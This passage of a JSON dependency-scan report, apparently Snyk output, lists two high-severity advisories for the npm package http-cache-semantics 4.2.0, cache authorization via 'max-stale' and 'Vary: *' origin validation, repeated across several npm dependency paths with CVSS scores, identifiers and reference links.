"cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, 